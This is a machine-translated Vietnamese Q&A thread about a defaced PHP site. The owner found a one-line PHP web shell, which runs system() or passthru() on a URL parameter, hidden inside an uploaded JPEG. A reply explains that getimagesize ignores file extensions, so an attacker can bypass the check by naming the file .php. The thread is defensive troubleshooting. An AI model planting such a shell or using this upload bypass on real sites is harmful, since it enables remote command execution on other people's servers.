Hôm qua trang web của tôi đã được bao gồm. Kẻ tấn công thay đổi tệp index.php thành của riêng họ (với tất cả các thông điệp và lời chào vinh quang của họ). Tôi đã thông báo cho công ty lưu trữ về điều này (chúng tôi đang chạy trên một máy chủ chuyên dụng), và về phía tôi, tôi đang cố gắng sửa chữa bất kỳ thứ gì có vẻ là nguyên nhân, vì tôi vẫn không thể xác định chính xác máy chủ bị tấn công, nhưng tôi nghĩ rằng tôi đã tìm thấy một số sơ hở dựa trên kịch bản có thể là thủ phạm.Trang web php của tôi bị tấn công bởi mã được tải lên dưới dạng hình ảnh ..?
Trang web của chúng tôi có biểu mẫu trình tải lên hình ảnh, nhưng tất cả hình ảnh đã tải lên đều được xác minh nếu chúng thực sự là tệp hình ảnh chứ không phải một số mã bằng cách sử dụng hàm getimagesize php. Chỉ khi loại hình ảnh là IMAGETYPE_GIF hoặc IMAGETYPE_JPEG hoặc IMAGETYPE_PNG thì chúng sẽ được chấp nhận. Khác, họ sẽ không thể tải tệp lên. Tuy nhiên tôi phát hiện ra rằng một tập tin hình ảnh tải lên có chứa một tập lệnh php bên trong nó! Bạn có thể tải xuống hình ảnh here. Đó là một tập tin hình ảnh hợp lệ, nhưng hãy thử mở các hình ảnh sử dụng bất kỳ soạn thảo văn bản và bạn sẽ tìm thấy một mã php bên trong nó:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Ví dụ, hình ảnh được tải lên vị trí này (www.mysite.com/uploads /picodes.jpg). Có bất kỳ cách nào trên thế giới những kẻ tấn công có thể thực hiện hệ thống (hoặc bất kỳ lệnh nào khác như passthru, vì chúng tôi phát hiện ra một hình ảnh khác có cùng mã bị ẩn như trên, nhưng thay vì hệ thống , nó có lệnh passthru), chỉ bằng một ví dụ, gõ www.mysite.com/uploads/picodes.jpg?cmd=some lệnh ?? Từ kiến thức của tôi nó không thể được thực hiện (thực sự đánh giá cao nếu ai đó có thể chứng minh cho tôi sai), trừ khi kẻ tấn công có thể đổi tên file jpg thành php, và thậm chí, những mã này được ẩn sâu bên trong hình ảnh (vui lòng xem hình bên trong soạn thảo văn bản để hiểu những gì tôi đang cố gắng nói)
Để đề phòng, tôi đã tắt các chức năng php này (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, hệ thống) bằng cách thêm chúng vào disable_functions trong php.ini.
Dù sao tôi vẫn nghĩ rằng kẻ tấn công có được quyền truy cập không thông qua web, nhưng thông qua máy chủ khai thác, nhưng tôi nghĩ công ty lưu trữ của tôi nghĩ khác đi.
Tùy thuộc vào cấu hình máy chủ của bạn, nếu trình xác minh hình ảnh của bạn không kiểm tra tên tập tin, nó có thể là có thể cho điều này được khai thác, ví dụ nếu kẻ tấn công tải lên các tập tin với một tên có một phần mở rộng '.php'.Nhưng đó thực sự là một câu hỏi cho Server Fault. Đó có phải là những gì bạn muốn biết? –
Cảm ơn bạn đã trả lời david, nhưng như tôi đã đề cập ở trên, tất cả các tập tin tải lên được kiểm tra đầu tiên; chỉ khi chúng là tệp hình ảnh (gif, jpg hoặc png) thì chúng sẽ được chấp nhận. Nếu không nó sẽ bị loại bỏ. Vì vậy, việc tải lên tệp có đuôi mở rộng .php hoặc bất kỳ mã thô nào khác có bất kỳ tiện ích mở rộng nào chắc chắn sẽ không thành công. – imin
Vâng, bạn đã nói bạn sử dụng 'getimagesize' để xác minh rằng hình ảnh là một hình ảnh, nhưng hàm đó _không kiểm tra đuôi tệp_. Nó chỉ xem xét nội dung của tập tin. (Hãy thử: đổi tên 'picodes.jpg' thành' picodes.php' và xem 'getimagesize (" picodes.php ")' cung cấp cho bạn.) Vì vậy, bạn cũng cần phải kiểm tra rõ tên mà tệp đang được tải lên, và đảm bảo rằng nó khớp với loại hình ảnh được trả về bởi 'getimagesize'. –